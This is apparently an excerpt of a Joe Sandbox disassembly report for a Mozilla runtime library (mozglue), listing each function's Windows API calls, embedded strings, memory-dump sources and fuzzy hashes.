memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C68E330,?,6C63C059), ref: 6C67ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C68E330,?,6C63C059), ref: 6C67AE01
GetLastError.KERNEL32(?,00000000,?,?,6C68E330,?,6C63C059), ref: 6C67AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C68E330,?,6C63C059), ref: 6C67AE3D

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 509e64455247f9c752efe43af7e8080d75e8272db334cd80f73d681f99e6828e
Instruction ID: 58838283dbe3ff5b849e546592bc6ac2a04a9a02c5d7cd2a5597f672179a1bdf
Opcode Fuzzy Hash: 509e64455247f9c752efe43af7e8080d75e8272db334cd80f73d681f99e6828e
Instruction Fuzzy Hash: 81314FB1A012159FDB10DF7A8C44AABB7F8EF49714F158829E94AD7700E734D805CBB8

Function 6C675EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C68DCA0,?,?,?,6C64E8B5,00000000), ref: 6C675F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C64E8B5,00000000), ref: 6C675F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C64E8B5,00000000), ref: 6C675F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C64E8B5,00000000), ref: 6C675F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C64E8B5,00000000), ref: 6C675FD6

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 6ab4ba4174a5d2748d3abc5e7aee719fc7d6f86b1d4bec36bd0eb122e3cc2868
Instruction ID: 3383e32ffd2a6e69f6b3517da3ad4f69f9baec60c57e29c472e9a08385b90561
Opcode Fuzzy Hash: 6ab4ba4174a5d2748d3abc5e7aee719fc7d6f86b1d4bec36bd0eb122e3cc2868
Instruction Fuzzy Hash: 0C3108343006018FD720CF2AC8D8A6AB7F5BF89319F648998E5568BBA5C735EC45CF94

Function 6C61B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C61B532
moz_xmalloc.MOZGLUE(?), ref: 6C61B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C61B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C61B57E
free.MOZGLUE(00000000), ref: 6C61B58F

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 1e31930bcbbb6abd3c654ae561189dd802c480d01b856cfa52694dd5ca6974f6
Instruction ID: 649ed40a4f0d95de83057be5eaec5756455de06db630c1ca421b1329c93e1ca3
Opcode Fuzzy Hash: 1e31930bcbbb6abd3c654ae561189dd802c480d01b856cfa52694dd5ca6974f6
Instruction Fuzzy Hash: 582129B1A042059BDB00CF69CC80BAEBBB9FF82305F284129E919DB741F776D911C7A5

Function 6C676E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6C676E78

Part of subcall function 6C676A10: InitializeCriticalSection.KERNEL32(6C69F618), ref: 6C676A68
Part of subcall function 6C676A10: GetCurrentProcess.KERNEL32 ref: 6C676A7D
Part of subcall function 6C676A10: GetCurrentProcess.KERNEL32 ref: 6C676AA1
Part of subcall function 6C676A10: EnterCriticalSection.KERNEL32(6C69F618), ref: 6C676AAE
Part of subcall function 6C676A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C676AE1
Part of subcall function 6C676A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6C676B15
Part of subcall function 6C676A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6C676B65
Part of subcall function 6C676A10: LeaveCriticalSection.KERNEL32(6C69F618,?,?), ref: 6C676B83

MozFormatCodeAddress.MOZGLUE ref: 6C676EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C676EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6C676EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6C676EFF

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 2d68807fba177708ac3c40e5ed2625a97ec2c31bfbb2793a0a5fa3e3a9f213d3
Instruction ID: 376ca7c3b2fcf8335f8325c848b6280ebe5323559bbdd488ea1470227621e91b
Opcode Fuzzy Hash: 2d68807fba177708ac3c40e5ed2625a97ec2c31bfbb2793a0a5fa3e3a9f213d3
Instruction Fuzzy Hash: 6A21B0B1A0421A8FDB14CF29D8C4AEE77F5EF84308F044439E80997240EB349A58CFA6

Function 6C650D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6C613DEF), ref: 6C650D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6C613DEF), ref: 6C650D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6C613DEF), ref: 6C650DAF

Strings

<jemalloc>, xrefs: 6C650D92, 6C650DB9
: (malloc) Error in VirtualFree(), xrefs: 6C650D97, 6C650DBE

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 7b6129d98eacd45a529c948f3b846d8964b7ae5b2fce609884b6830c87b89264
Instruction ID: 755b54d9c84d5c89c3df41f1166838b4269c45a10cee0e87f5eb5e165a536f4f
Opcode Fuzzy Hash: 7b6129d98eacd45a529c948f3b846d8964b7ae5b2fce609884b6830c87b89264
Instruction Fuzzy Hash: 97F02E7238039623E7302D670D0AF6A269D6BC2F6DF704135F615DEDC0DA90E41086AD

Function 6C667620 Relevance: 7.5, APIs: 5, Instructions: 35threadCOMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0000002C,?,?,?,?,6C6675C4,?), ref: 6C66762B

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

InitializeConditionVariable.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,6C6674D7,6C6715FC,?,?,?), ref: 6C667644
GetCurrentThreadId.KERNEL32 ref: 6C66765A
AcquireSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6674D7,6C6715FC,?,?,?), ref: 6C667663
ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,6C6674D7,6C6715FC,?,?,?), ref: 6C667677

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireConditionCurrentInitializeReleaseThreadVariablemallocmoz_xmalloc
String ID:
API String ID: 418114769-0
Opcode ID: f12688d61163997932252bf13cc5e7902bcfc75677fac07713933881d23bd1e6
Instruction ID: 9fb23d0a7f4bc5a005c1215f86954d2a2b2a697d77d161039be379f4c725ed80
Opcode Fuzzy Hash: f12688d61163997932252bf13cc5e7902bcfc75677fac07713933881d23bd1e6
Instruction Fuzzy Hash: 53F0AF71E10746ABE7008F22C888676B778FFEA699F114316F90553601E7B0A5D18BD4

Function 6C63D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6C64CBE8: GetCurrentProcess.KERNEL32(?,6C6131A7), ref: 6C64CBF1
Part of subcall function 6C64CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6131A7), ref: 6C64CBFA

EnterCriticalSection.KERNEL32(6C69E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D4F2
LeaveCriticalSection.KERNEL32(6C69E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D50B

Part of subcall function 6C61CFE0: EnterCriticalSection.KERNEL32(6C69E784), ref: 6C61CFF6
Part of subcall function 6C61CFE0: LeaveCriticalSection.KERNEL32(6C69E784), ref: 6C61D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D52E
EnterCriticalSection.KERNEL32(6C69E7DC), ref: 6C63D690
LeaveCriticalSection.KERNEL32(6C69E784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C64D1C5), ref: 6C63D751

Strings

MOZ_CRASH(), xrefs: 6C63D4BB

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: afdcec7461a94e1d0c35e60291940049f4eb3a6d42e592e03ce15ca020616433
Instruction ID: e72e440dbeb422350e8f76b9067ec7abdc0efd5800c831b9350d1e39d9196826
Opcode Fuzzy Hash: afdcec7461a94e1d0c35e60291940049f4eb3a6d42e592e03ce15ca020616433
Instruction Fuzzy Hash: D2510471A047128FD354CF29C09471AB7F1FB8A704F25992EE5AAC7B84D770E804CB9A

Function 6C664630 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 138COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C664721

Strings

., xrefs: 6C66476A
-%llu, xrefs: 6C664733
profiler-paused, xrefs: 6C6646E4

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: __aulldiv
String ID: -%llu$.$profiler-paused
API String ID: 3732870572-2661126502
Opcode ID: 6bc08be4a19aa1051094ac3e64c41148707aa9d4a89743fdb6373d05f9e56d80
Instruction ID: 3015e1cc75c30236da46e169c0d778a78ac23b4d0727a3f2fda07ca74f31349c
Opcode Fuzzy Hash: 6bc08be4a19aa1051094ac3e64c41148707aa9d4a89743fdb6373d05f9e56d80
Instruction Fuzzy Hash: D5416871A04708AFCB08DF7AD89116EBBF5EF86744F10863EE84597B41EB709844879A

Function 6C6646E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C664721

Part of subcall function 6C614410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6C653EBD,00000017,?,00000000,?,6C653EBD,?,?,6C6142D2), ref: 6C614444

Strings

., xrefs: 6C66476A
-%llu, xrefs: 6C664733
profiler-paused, xrefs: 6C6646E4

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: 2c0246c6b5f396c2a51e27d15775cb0f240bc70eeb040450b7ece86d2db1cb8f
Instruction ID: 92f9466df0acff8d60fd4d43499d06aa456838c7b871c0b34ee659e0ba252cc1
Opcode Fuzzy Hash: 2c0246c6b5f396c2a51e27d15775cb0f240bc70eeb040450b7ece86d2db1cb8f
Instruction Fuzzy Hash: 9A310971F042085FCB0CCF6ED8916ADBFE6DB89314F15853EE8059BB41EBB098048B99

Function 6C66B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C614290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C653EBD,6C653EBD,00000000), ref: 6C6142A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C66B127), ref: 6C66B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C66B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6C66B4E4

Strings

pid:, xrefs: 6C66B4DE

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: b1cd0d1504868f80283dcf09e09ca6b545705502050f672a1db877aa7d11a70a
Instruction ID: 5dd748cc57223e5ae9be5c713b51544f81c53990ab0df32ed2d8575ac00da447
Opcode Fuzzy Hash: b1cd0d1504868f80283dcf09e09ca6b545705502050f672a1db877aa7d11a70a
Instruction Fuzzy Hash: 9F312731A01205DBDB00DFAAD880AEEB7B5FFC5308F540529E80167E41D732E845DBEA

Function 6C65E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C65E577
AcquireSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65E584
ReleaseSRWLockExclusive.KERNEL32(6C69F4B8), ref: 6C65E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C65E8A6

Strings

MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C65E722, 6C65E750, 6C65E7A2
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C65E655
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C65E826, 6C65E850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C65E777
MOZ_PROFILER_STARTUP, xrefs: 6C65E5A1, 6C65E5CC, 6C65E5FF, 6C65E62A

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: fdf24ea497fd8ba50b1cc175afda171bc16ea4ebebd0d4814d0b450596e4c8b3
Instruction ID: e241bfce00868c2c3c6d903f57b45b9dce003e2216f867c19d054c8d9ccda7c2
Opcode Fuzzy Hash: fdf24ea497fd8ba50b1cc175afda171bc16ea4ebebd0d4814d0b450596e4c8b3
Instruction Fuzzy Hash: 7611CE31604246DFCB009F16C488B6DBBB8FFC9728F520519F85247651C774A815CB9E

Function 6C660C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C660CD5

Part of subcall function 6C64F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C64F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C660D40
free.MOZGLUE ref: 6C660DCB

Part of subcall function 6C635E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C635EDB
Part of subcall function 6C635E90: memset.VCRUNTIME140(ewgl,000000E5,?), ref: 6C635F27
Part of subcall function 6C635E90: LeaveCriticalSection.KERNEL32(?), ref: 6C635FB2

free.MOZGLUE ref: 6C660DDD
free.MOZGLUE ref: 6C660DF2

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 45be6613318a7b16f918f54bbcac06458c107be869e28ac8534dfc75285a169b
Instruction ID: 92437152b35cf8a5114a8ed4a42567604f15f581c1e1cdac2c548ceeb795a0e3
Opcode Fuzzy Hash: 45be6613318a7b16f918f54bbcac06458c107be869e28ac8534dfc75285a169b
Instruction Fuzzy Hash: F94117719097849BD720CF2AC08079AFBE5BFC9714F108A2EE8D887B50D7709445CB9B

Function 6C66CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6C65DA31,00100000,?,?,00000000,?), ref: 6C66CDA4

Part of subcall function 6C62CA10: malloc.MOZGLUE(?), ref: 6C62CA26

Part of subcall function 6C66D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6C66CDBA,00100000,?,00000000,?,6C65DA31,00100000,?,?,00000000,?), ref: 6C66D158
Part of subcall function 6C66D130: InitializeConditionVariable.KERNEL32(00000098,?,6C66CDBA,00100000,?,00000000,?,6C65DA31,00100000,?,?,00000000,?), ref: 6C66D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6C65DA31,00100000,?,?,00000000,?), ref: 6C66CDC4

Part of subcall function 6C667480: ReleaseSRWLockExclusive.KERNEL32(?,6C6715FC,?,?,?,?,6C6715FC,?), ref: 6C6674EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6C65DA31,00100000,?,?,00000000,?), ref: 6C66CECC

Part of subcall function 6C62CA10: mozalloc_abort.MOZGLUE(?), ref: 6C62CAA2

Part of subcall function 6C65CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6C66CEEA,?,?,?,?,00000000,?,6C65DA31,00100000,?,?,00000000), ref: 6C65CB57
Part of subcall function 6C65CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6C65CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6C66CEEA,?,?), ref: 6C65CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6C65DA31,00100000,?,?,00000000,?), ref: 6C66D058

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: fcfaf8a7d17a4e6e38d2d56fbc0629fd874b13cd4f4b0071d521396c01f1c39d
Instruction ID: e7e2f45ffc6f547a62bf08d64d6fed8a1fa11a90ea11087718d82009b3b110b3
Opcode Fuzzy Hash: fcfaf8a7d17a4e6e38d2d56fbc0629fd874b13cd4f4b0071d521396c01f1c39d
Instruction Fuzzy Hash: FDD18071A04B069FD708CF29C480B99F7E1BF89308F11862DD95987712EB71E965CBC6

Function 6C635C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C635D40
EnterCriticalSection.KERNEL32(6C69F688), ref: 6C635D67
__aulldiv.LIBCMT ref: 6C635DB4
LeaveCriticalSection.KERNEL32(6C69F688), ref: 6C635DED

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 3c41b4cff6adb684669dd8ec3679600bca95ddd7c299fcbe35845f1d7e0eff93
Instruction ID: 389d83493fd80a8742683ced4b8fbdb13f4e7ececa63e0dcf210ba56f60fe5be
Opcode Fuzzy Hash: 3c41b4cff6adb684669dd8ec3679600bca95ddd7c299fcbe35845f1d7e0eff93
Instruction Fuzzy Hash: E4516F71E0022A8FCF08CFA9C894AAEBBF1FB85314F1A961DD815A7750C7306945CB99

Function 6C61CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C61CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C61CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C61CF4E

Strings

0, xrefs: 6C61CF30

Memory Dump Source

Source File: 00000000.00000002.2337686609.000000006C611000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C610000, based on PE: true

Associated: 00000000.00000002.2337646485.000000006C610000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337753567.000000006C68D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337778897.000000006C69E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2337803036.000000006C6A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c610000_file.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: 4078ee01b9712f62efbf35207f1ac449ea2c61cfa1170fa4893e53273e6a0863
Instruction ID: 7572cd5098322bc731e5f51eac3212982a3cf070f6dd1f73234d55f9907e6f4c
Opcode Fuzzy Hash: 4078ee01b9712f62efbf35207f1ac449ea2c61cfa1170fa4893e53273e6a0863
